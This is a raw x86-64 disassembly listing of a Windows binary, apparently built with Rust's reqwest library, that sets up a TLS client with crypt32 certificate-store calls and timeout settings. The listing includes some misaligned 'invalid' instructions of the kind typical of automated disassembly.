mov dword [rsp + 0xf8], eax
mov eax, dword [r14 + 0x183]
mov dword [rsp + 0xfc], eax
movzx ebx, byte [r14 + 0x176]
movzx eax, byte [r14 + 0x17e]
mov byte [rsp + 0x36], al
cmp qword [rsp + 0x50], 0
mov byte [rsp + 0x37], r12b
je 0x140050f4a
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x100], rax
mov eax, 1
mov qword [rsp + 0x148], rax
jmp 0x140050f54
xor eax, eax
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x108], rsi
mov qword [rsp + 0x20], 0
mov ecx, 2
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.crypt32.dll_CertOpenStore]
test rax, rax
je 0x14005107a
mov r12, rax
mov byte [rsp + 0x140], bl
mov qword [rsp + 0x238], rbp
test r15, r15
je 0x140050ffb
lea rdi, [r15*8]
xor ebp, ebp
lea rbx, [rsp + 0xb0]
mov r14, qword [sym.imp.crypt32.dll_CertAddCertificateContextToStore]
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax + rax]
mov qword [rsp + 0xb0], 0
mov rdx, qword [r13 + rbp]
mov rcx, r12
mov r8d, 3
mov r9, rbx
call r14
test eax, eax
je 0x1400513c6
mov rcx, qword [rsp + 0xb0]
call rsi
add rbp, 8
cmp rdi, rbp
jne 0x140050fc0
movups xmm0, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x1d0], rax
movaps xmm0, xmmword [rsp + 0x180]
movaps xmm1, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
mov eax, dword [rsp + 0xf8]
cmp eax, 2
je 0x14005140a
test eax, eax
mov r14, qword [rsp + 0xe8]
movzx ebp, byte [rsp + 0x36]
jne 0x14005141d
mov sil, 1
xor edi, edi
jmp 0x14005143e
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
mov rsi, rbp
cmp qword [rsp + 0x50], 0
mov rcx, qword [rsp + 0x100]
je 0x14005109b
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400520aa
mov rbp, rax
shl rbx, 0x20
or rbx, 2
mov qword [rax], rbx
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400520b9
mov r12, rax
movabs rax, 0x8000000000000000
mov qword [r12], rax
mov qword [r12 + 0x58], rbp
lea rax, [0x14013d028]
mov qword [r12 + 0x60], rax
mov word [r12 + 0x68], 0
cmp byte [rsp + 0x1a0], 2
mov rbx, qword [rsp + 0x150]
jne 0x140051138
lock dec qword [rdi]
mov rbp, rsi
jne 0x140051164
mov rcx, rdi
call fcn.140052730
cmp qword [rsp + 0x50], 0
jne 0x14005116c
jmp 0x14005117a
lea rcx, [rsp + 0x198]
mov rax, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
call qword [rax + 0x10]
lock dec qword [rdi]
mov rbp, rsi
je 0x140051126
cmp qword [rsp + 0x50], 0
je 0x14005117a
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test r15, r15
je 0x14005119f
xor esi, esi
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax + rax]
mov rcx, qword [r13 + rsi*8]
inc rsi
call rdi
cmp r15, rsi
jne 0x140051190
cmp qword [rsp + 0x108], 0
je 0x1400511bc
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x168]
lock dec qword [rcx]
jne 0x1400511cf
call fcn.14004f050
mov rcx, qword [rsp + 0x170]
lock dec qword [rcx]
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x58]
movzx r13d, byte [rsp + 0x40]
jne 0x1400511fa
mov rdx, qword [rsp + 0x158]
call fcn.140005050
lock dec qword [r15]
jne 0x14005120d
mov rcx, r15
mov rdx, qword [rsp + 0x38]
call fcn.140005050
lock dec qword [rsi]
jne 0x14005121b
mov rcx, rsi
call fcn.140052730
test rbp, rbp
setne bpl
mov rcx, r14
call fcn.140052130
cmp qword [r14 + 0x60], 0
jne 0x140051262
mov rdi, qword [r14 + 0x68]
mov rsi, qword [r14 + 0x70]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140051262
cmp qword [rsi + 0x10], 0x11
jb 0x140051250
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x1400512c6
mov r15, rbx
mov rdi, qword [r14 + 0x98]
mov rsi, qword [r14 + 0xa0]
test rsi, rsi
je 0x14005129f
xor ebx, ebx
mov r14, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
mov rcx, qword [rdi + rbx*8]
inc rbx
call r14
cmp rsi, rbx
jne 0x140051290
mov r14, qword [rsp + 0xe8]
cmp qword [r14 + 0x90], 0
mov rbx, r15
je 0x1400512c6
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
or al, 0
test rbx, rbx
jne 0x14005133d
mov rdi, qword [r14 + 0x158]
test rdi, rdi
je 0x14005133d
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x14005130d
mov rsi, qword [rdi + 0x60]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
invalid
je 0x14005130d
cmp qword [rsi + 0x10], 0x11
jb 0x1400512fb
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
shl rax, 1
test rax, rax
je 0x14005132b
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test r13b, r13b
je 0x14005134e
lea rcx, [r14 + 0x120]
call fcn.140002710
mov rcx, qword [r14 + 0x160]
test rcx, rcx
sete al
or bpl, al
mov eax, 1
jne 0x140051384
lock dec qword [rcx]
jne 0x140051384
mov rcx, qword [r14 + 0x160]
mov rdx, qword [r14 + 0x168]
mov rsi, rax
call fcn.140005050
mov rax, rsi
mov rdx, r12
movaps xmm6, xmmword [rsp + 0x360]
movaps xmm7, xmmword [rsp + 0x370]
movaps xmm8, xmmword [rsp + 0x380]
movaps xmm9, xmmword [rsp + 0x390]
movaps xmm10, xmmword [rsp + 0x3a0]
add rsp, 0x3b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
ret
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
mov rcx, r12
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov r14, qword [rsp + 0xe8]
mov rbp, qword [rsp + 0x238]
mov rdi, qword [rsp + 0x60]
mov rsi, rbp
cmp qword [rsp + 0x50], 0
mov rcx, qword [rsp + 0x100]
jne 0x140051095
jmp 0x14005109b
xor esi, esi
xor edi, edi
mov r14, qword [rsp + 0xe8]
movzx ebp, byte [rsp + 0x36]
jmp 0x14005143e
lea rax, [r14 + 0x187]
mov ecx, dword [rax + 8]
mov dword [rsp + 0xb8], ecx
mov rax, qword [rax]
mov qword [rsp + 0xb0], rax
mov dil, 1
xor esi, esi
lea rbx, [rsp + 0x110]
mov rcx, rbx
call fcn.140052490
mov byte [rax + 0x51], sil
mov ecx, dword [rsp + 0xfc]
mov dword [rax + 0x52], ecx
mov byte [rax + 0x56], dil
mov dword [rax + 0x57], ecx
mov rcx, qword [rsp + 0xb0]
mov qword [rax + 0x5b], rcx
mov ecx, dword [rsp + 0xb8]
mov dword [rax + 0x63], ecx
mov rcx, rbx
call fcn.140052490
mov byte [rax + 0x67], bpl
mov rcx, rbx
call fcn.140052490
mov byte [rax + 0x50], 0
movaps xmm0, xmmword [rsp + 0x1b0]
movaps xmm1, xmmword [rsp + 0x1c0]
movups xmmword [rsp + 0xb4], xmm0
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0xd4], rax
movups xmmword [rsp + 0xc4], xmm1
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x250], rax
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0xcc]
mov qword [rsp + 0x1fc], rax
mov rax, qword [rsp + 0xd4]
mov qword [rsp + 0x204], rax
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x1f0], xmm0
movdqu xmm0, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0x1e0], xmm0
cmp qword [rsp + 0x50], 0
je 0x140051539
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test r15, r15
movzx ebx, byte [rsp + 0x140]
je 0x14005155f
xor esi, esi
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop
mov rcx, qword [r13 + rsi*8]
inc rsi
call rdi
cmp r15, rsi
jne 0x140051550
cmp qword [rsp + 0x108], 0
je 0x14005157c
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x268], r12
pxor xmm0, xmm0
punpcklbw xmm6, xmm0
pshuflw xmm0, xmm6, 0xc6
packuswb xmm0, xmm0
movd dword [rsp + 0x270], xmm0
movzx eax, byte [rsp + 0x160]
mov byte [rsp + 0x274], al
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x275], al
movaps xmm0, xmmword [rsp + 0x240]
movups xmmword [rsp + 0x278], xmm0
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x288], rax
movaps xmm0, xmmword [rsp + 0x1e0]
movdqa xmm1, xmmword [rsp + 0x1f0]
movups xmmword [rsp + 0x29c], xmm0
movdqu xmmword [rsp + 0x2ac], xmm1
movdqu xmm0, xmmword [rsp + 0x1fc]
movdqu xmmword [rsp + 0x2b8], xmm0
mov eax, dword [rsp + 0x21b]
mov dword [rsp + 0x2d3], eax
movzx eax, byte [rsp + 0x21f]
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x260], rax
mov dword [rsp + 0x298], 0x3b9aca00
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x2c8], rax
mov byte [rsp + 0x2d0], 0
mov byte [rsp + 0x2d1], bpl
mov byte [rsp + 0x2d2], bl
mov rcx, qword [rsp + 0x58]
lock dec qword [rcx]
jne 0x14005168e
mov rdx, qword [rsp + 0x38]
call fcn.140005050
mov rax, qword [r14 + 0xc0]
mov ecx, dword [r14 + 0xc8]
mov qword [rsp + 0x290], rax
mov dword [rsp + 0x298], ecx
movzx eax, byte [r14 + 0x172]
mov byte [rsp + 0x2d0], al
cmp byte [r14 + 0x181], 1
sete bpl
cmp dword [r14 + 0xa8], 0
mov r12d, 0x200000
je 0x1400516dd
mov r12d, dword [r14 + 0xac]
cmp dword [r14 + 0xb0], 0
mov ecx, 0x500000
je 0x1400516f3
mov ecx, dword [r14 + 0xb4]
movzx eax, byte [r14 + 0x17c]
mov byte [rsp + 0x150], al
test al, al
mov eax, 0xffff
cmovne r12d, eax
cmovne ecx, eax
mov dword [rsp + 0x58], ecx
cmp dword [r14 + 0xb8], 0
mov eax, 0x4000
je 0x14005172a
mov eax, dword [r14 + 0xbc]
mov dword [rsp + 0xe0], eax
mov eax, dword [r14 + 0x108]
mov dword [rsp + 0x108], eax
mov eax, dword [r14 + 0x118]
mov rbx, r14
xor r14d, r14d
cmp eax, 0x3b9aca00
cmove eax, r14d
mov dword [rsp + 0x100], eax
mov eax, 0x14
cmovne rax, qword [rbx + 0x110]
mov qword [rsp + 0x168], rax
mov rax, qword [rbx + 0x100]
mov qword [rsp + 0x160], rax
movzx eax, byte [rbx + 0x17d]
mov byte [rsp + 0x170], al
mov r13, qword [rbx + 0xd0]
mov eax, dword [rbx + 0xd8]
mov dword [rsp + 0x158], eax
mov rax, qword [rbx + 0x150]
mov qword [rsp + 0x38], rax
mov rsi, qword [rbx + 0xe0]
mov edi, dword [rbx + 0xe8]
lea rcx, [rsp + 0x278]
call fcn.140052490
mov qword [rax + 0x40], rsi
mov dword [rax + 0x48], edi
movzx eax, byte [rbx + 0x177]
mov byte [rsp + 0x148], al
movzx eax, byte [rbx + 0x178]
mov byte [rsp + 0x37], al
movzx eax, byte [rbx + 0x179]
mov byte [rsp + 0xfc], al
movzx eax, byte [rbx + 0x17a]
mov byte [rsp + 0x36], al
movzx eax, byte [rbx + 0x17b]
mov byte [rsp + 0xf8], al
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx + 0x20]
test rax, rax
je case.0x140051867.4
mov rdi, qword [rcx + 0x18]
mov edi, dword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rbx, [rcx + rax*8]
add rbx, rdi
lea r15, [0x14017794c]
adc ah, byte [rcx + 0x12]
invalid
lea edi, [0x14017794c]
adc ah, byte [rcx + 0x12]
add byte [rsi + 0xf], ah
jbe 0x140051834
pcmpeqd xmm6, xmm6
jmp 0x14005185a
cmp byte [rdi + 0x50], 2
jne case.0x140051867.4
jg 0x140051893
add cl, byte [rdi]
test eax, esi
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rdi, 0x88
cmp rdi, rbx
je 0x140051937
test ch, bl
add byte [rax], al
invalid
test ch, bl
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rdi]
mov r14b, 1
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
mov rsi, qword [rdi + 8]
cmp qword [rsi + 0x28], 0
je case.0x140051867.2
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov r9d, 4
lea r8, [0x140172313]
call fcn.140052790
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov edx, dword [rsi + 0x18]
mov r8, rax
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
and rax, rdx
movdqu xmm1, xmmword [rcx + rax]
movdqa xmm2, xmm1
pcmpeqb xmm2, xmm0
pmovmskb r9d, xmm2
test r9d, r9d
jne 0x140051900
pcmpeqb xmm1, xmm6
pmovmskb r9d, xmm1
test r9d, r9d
jne case.0x140051867.2
add rax, r8
add rax, 0x10
add r8, 0x10
jmp 0x1400518b3
lea r10d, [r9 - 1]
and r10d, r9d
mov r9d, r10d
test r10w, r10w
je 0x1400518cd
tzcnt r10d, r9d
add r10, rax
and r10, rdx
neg r10
imul r10, r10, 0x68
cmp qword [rcx + r10 - 0x58], 4
jne 0x1400518f0
add r10, rcx
mov r11, qword [r10 - 0x60]
cmp dword [r11], 0x70747468
je 0x140051998
je 0x140051998
jne 0x1400518f0
cmp byte [r10 - 8], 2
je case.0x140051867.2
jmp case.0x140051867.4
xor r14d, r14d
cmp qword [rsp + 0x38], 0
mov byte [rsp + 0x40], bpl
mov dword [rsp + 0x50], r12d
je 0x140051993
mov rsi, r13
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
je 0x14005199a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xa8]
mov r15, qword [rax + 0xb0]
lea r13, [rdi + 1]
jmp 0x1400519d9
xor ebx, ebx
jmp 0x140051afd
add byte [rax], al
call fcn.140002270
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xa8]
mov r15, qword [rax + 0xb0]
lea r13, [rdi + 1]
mov qword [rax + 0xa8], r13
cmp qword [rax + 0xa0], 0
je 0x140051f42
lea rbp, [r13 + 1]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xa8], rbp
mov qword [rsp + 0x140], r15
mov r12, r15
lea rax, [rbp + 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xa8], rax
movzx eax, byte [0x140182310]
mov edx, 0xd8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400520d7
mov rbx, rax
mov ecx, dword [rsp + 0x158]
test ecx, ecx
mov eax, 0x3b9aca00
cmovne eax, ecx
test rsi, rsi
cmovne eax, ecx
cmp ecx, 0x3b9aca00
cmove eax, ecx
mov qword [rbx], 1
mov qword [rbx + 8], 1
mov word [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
movdqu xmm0, xmmword [0x14014bb60]
movdqu xmmword [rbx + 0x28], xmm0
movdqu xmm1, xmmword [0x14014bb70]
movdqu xmmword [rbx + 0x38], xmm1
mov qword [rbx + 0x48], rdi
mov qword [rbx + 0x50], r15
movdqu xmmword [rbx + 0x58], xmm0
movdqu xmmword [rbx + 0x68], xmm1
mov qword [rbx + 0x78], r13
mov rcx, qword [rsp + 0x140]
mov qword [rbx + 0x80], rcx
movdqu xmmword [rbx + 0x88], xmm0
movdqu xmmword [rbx + 0x98], xmm1
mov qword [rbx + 0xa8], rbp
mov qword [rbx + 0xb0], r12
mov rcx, qword [rsp + 0x38]
mov qword [rbx + 0xb8], rcx
mov qword [rbx + 0xc0], 0
mov qword [rbx + 0xc8], rsi
mov dword [rbx + 0xd0], eax
movups xmm0, xmmword [rsp + 0x2c8]
movups xmmword [rsp + 0x350], xmm0
movups xmm0, xmmword [rsp + 0x2b8]
movups xmmword [rsp + 0x340], xmm0
movups xmm0, xmmword [rsp + 0x2a8]
movups xmmword [rsp + 0x330], xmm0
movups xmm0, xmmword [rsp + 0x298]
movups xmmword [rsp + 0x320], xmm0
movups xmm0, xmmword [rsp + 0x258]
movups xmm1, xmmword [rsp + 0x268]
movups xmm2, xmmword [rsp + 0x278]
movups xmm3, xmmword [rsp + 0x288]
movups xmmword [rsp + 0x310], xmm3
movups xmmword [rsp + 0x300], xmm2
movups xmmword [rsp + 0x2f0], xmm1
movups xmmword [rsp + 0x2e0], xmm0
mov rsi, qword [rsp + 0xe8]
movzx edi, byte [rsi + 0x174]
mov r15, qword [rsi + 0xf0]
mov r13d, dword [rsi + 0xf8]
movzx ebp, byte [rsi + 0x180]
movzx eax, byte [0x140182310]
mov edx, 0x1c0
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400520c8
mov r12, rax
mov qword [rax], 1
mov qword [rax + 8], 1
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], 0
mov rax, qword [rsp + 0x168]
mov qword [r12 + 0x40], rax
mov eax, dword [rsp + 0x100]
mov dword [r12 + 0x48], eax
mov rax, qword [rsp + 0x160]
mov qword [r12 + 0x50], rax
mov eax, dword [rsp + 0x108]
mov dword [r12 + 0x58], eax
mov qword [r12 + 0x60], 0x100000
mov eax, dword [rsp + 0x58]
mov dword [r12 + 0x68], eax
mov eax, dword [rsp + 0x50]
mov dword [r12 + 0x6c], eax
mov eax, dword [rsp + 0xe0]
mov dword [r12 + 0x70], eax
movzx eax, byte [rsp + 0x150]
mov byte [r12 + 0x74], al
movzx eax, byte [rsp + 0x170]
mov byte [r12 + 0x75], al
mov qword [r12 + 0x78], 0
movzx eax, byte [rsp + 0x148]
mov byte [r12 + 0x88], al
movzx eax, byte [rsp + 0xf8]
mov byte [r12 + 0x89], al
movzx eax, byte [rsp + 0xfc]
mov byte [r12 + 0x8a], al
mov word [r12 + 0x8b], 0
movzx eax, byte [rsp + 0x36]
mov byte [r12 + 0x8d], al
movzx eax, byte [rsp + 0x37]
mov byte [r12 + 0x8e], al
mov word [r12 + 0x8f], 0
mov byte [r12 + 0x91], 2
mov rcx, r12
add rcx, 0x92
lea rdx, [rsp + 0x2da]
mov r8d, 0x86
call fcn.140106250
mov qword [r12 + 0x118], rbx
mov word [r12 + 0x120], 0x101
movzx eax, byte [rsp + 0x40]
mov byte [r12 + 0x122], al
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
adc bl, r14b
movq mm2, qword [rsi + 0x20]
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [r12 + 0x128], xmm0
movups xmmword [r12 + 0x138], xmm1
movdqu xmmword [r12 + 0x148], xmm2
movups xmmword [r12 + 0x158], xmm3
movups xmm0, xmmword [rsi + 0x40]
movups xmmword [r12 + 0x168], xmm0
movups xmm0, xmmword [rsi + 0x50]
movups xmmword [r12 + 0x178], xmm0
movdqu xmm0, xmmword [rsi + 0x60]
movdqu xmmword [r12 + 0x188], xmm0
mov rax, qword [rsi + 0x70]
mov qword [r12 + 0x198], rax
mov qword [r12 + 0x1a0], r15
mov dword [r12 + 0x1a8], r13d
mov rax, qword [rsp + 0x60]
mov qword [r12 + 0x1b0], rax
mov byte [r12 + 0x1b8], dil
mov byte [r12 + 0x1b9], r14b
mov byte [r12 + 0x1ba], bpl
mov rdi, qword [rsi + 0x158]
test rdi, rdi
mov r14, rsi
mov r15, qword [rsp + 0x238]
je 0x140051e20
mov rbx, qword [rdi + 0x58]
test rbx, rbx
je 0x140051df0
mov rsi, qword [rdi + 0x60]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
invalid
je 0x140051df0
cmp qword [rsi + 0x10], 0x11
jb 0x140051dde
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
shl rax, 1
test rax, rax
je 0x140051e0e
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x48], 0
jne 0x140051e35
mov rcx, qword [rsp + 0x178]
call fcn.140002710
xor eax, eax
test r15, r15
jne 0x140051384
mov rcx, qword [r14 + 0x160]
test rcx, rcx
je 0x140051384
xor eax, eax
lock dec qword [rcx]
je 0x14005136b
jmp 0x140051384
test r10, r10
je 0x1400506d8
movzx eax, byte [rsp + 0x87]
shl eax, 0x10
movzx ecx, word [rsp + 0x85]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x81]
or rax, rcx
lea rcx, [r15 + r10]
mov r8, r15
jmp 0x140051ebc
add r8, 2
cmp rdx, rcx
cmovne rdx, r8
nop word cs:[rax + rax]
mov r8, rdx
cmp rdx, rcx
je 0x1400506d8
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140051eb0
cmp r9b, 0xe0
jb 0x140051e96
cmp r9b, 0xed
jne 0x140051eff
cmp rdx, rcx
je 0x1400506d8
lea rdx, [r8 + 2]
cmp rdx, rcx
je 0x1400506d8
cmp byte [r8 + 1], 0x9f
ja 0x140051fdd
add r8, 3
mov rdx, r8
jmp 0x140051eb0
add r8, 2
cmp rdx, rcx
cmove r8, rdx
xor edx, edx
cmp r8, rcx
setne dl
add rdx, r8
cmp r9b, 0xf0
jb 0x140051eb0
xor r8d, r8d
cmp rdx, rcx
setne r8b
add rdx, r8
jmp 0x140051eb0
ud2
call fcn.140002270
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r13, qword [rax + 0xa8]
mov r12, qword [rax + 0xb0]
lea rbp, [r13 + 1]
cmp qword [rax + 0xa0], 0
mov qword [rax + 0xa8], rbp
mov qword [rsp + 0x140], r12
jne 0x140051a02
call fcn.140002270
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbp, qword [rax + 0xa8]
mov r12, qword [rax + 0xb0]
jmp 0x140051a02
shl rax, 8
mov rbx, r11
mov r11, r15
mov r15, r10
mov r10, rax
mov r12, r10
shl r14, 1
test r14, r14
je 0x14004fcb2
jmp 0x1400506f1
lea r8, [0x14013b010]
call fcn.1401082d0
lea r8, [0x14013b010]
mov rcx, r9
call fcn.1401082d0
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
mov ecx, 1
mov rdx, r15
call fcn.140107fc0
call fcn.140010b00
lea rax, [0x140142818]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x78], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
lea rcx, [rsp + 0x68]
call fcn.140108280
mov ecx, 8
mov edx, 0x10
call fcn.140107fe0
mov ecx, 8
mov edx, 0x80
call fcn.140107fe0
mov ecx, 8
mov edx, 0x40
call fcn.140107fe0
mov ecx, 8
mov edx, 8
call fcn.140107fe0
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
mov ecx, 8
mov edx, 0x1c0
call fcn.140107fe0
mov ecx, 8
mov edx, 0xd8
call fcn.140107fe0
lea rcx, str.assertion_failed:_head.len____tail.len_____8
lea r8, [0x14013b088]
mov edx, 0x2e
call fcn.140108350
lea r8, [0x14013b040]
mov edx, 8
mov rcx, r13
call fcn.140108340
lea r8, [0x14013b028]
mov edx, 8
call fcn.140108340
int3
add byte [rax], r8b
inc r14
cmp r14, rsi
je 0x1400523b5
mov rax, r14
shl rax, 7
loopne 0x14005227a
loopne 0x14005227a
lea rax, [rax + r14*8]
lea rbp, [rdi + rax]
mov rax, qword [rdi + rax]
cmp rax, 3
ja case.default.0x140052297
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1256d0
lea rcx, [0x140177960]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rbp + 0x50], 2
je 0x1400522b2
lea rcx, [rbp + 0x48]
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov r8, qword [rbp + 0x40]
call qword [rax + 0x10]
lea rcx, [rbp + 0x28]
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x20]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x58]
cmp rax, r15
je 0x140052260
mov rdi, rsi
mov rsi, r15
test rax, rax
je 0x1400522e9
mov r8, qword [rbp + 0x60]
mov rcx, qword [0x140182260]
xor edx, edx
call r12
mov rbx, qword [rbp + 0x78]
mov r15, qword [rbp + 0x80]
test r15, r15
je 0x140052330
lea r13, [rbx + 8]
jmp 0x140052309
add r13, 0x18
dec r15
je 0x140052330
cmp qword [r13 - 8], 0
je 0x140052300
mov r8, qword [r13]
mov rcx, qword [0x140182260]
xor edx, edx
call r12
jmp 0x140052300
nop word cs:[rax + rax]
cmp qword [rbp + 0x70], 0
mov r15, rsi
mov rsi, rdi
mov rdi, qword [rsp + 0x20]
je 0x140052260
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call r12
jmp 0x140052260
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
invalid
mov rax, qword [rbp + 8]
lock dec qword [rax]
jne 0x1400522c5
mov rcx, qword [rbp + 8]
call fcn.1400538f0
jmp 0x1400522c5
cmp byte [rbp + 0x38], 2
je 0x140052395
lea rcx, [rbp + 0x30]
mov rax, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x28]
call qword [rax + 0x10]
mov rax, qword [rbp + 8]
lock dec qword [rax]
jne 0x1400522c5
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
call fcn.140005050
jmp 0x1400522c5
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ret
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140057ab6
cmp qword [rbx + 0x10], 0x11
jb 0x140057aa4
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x140057ad4
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rbp + rbx + 0x49], dh
cmp dword [rdi + 0x10], 0x11
jb 0x140057e6b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x140057ee2
lea rdi, [r14 - 1]
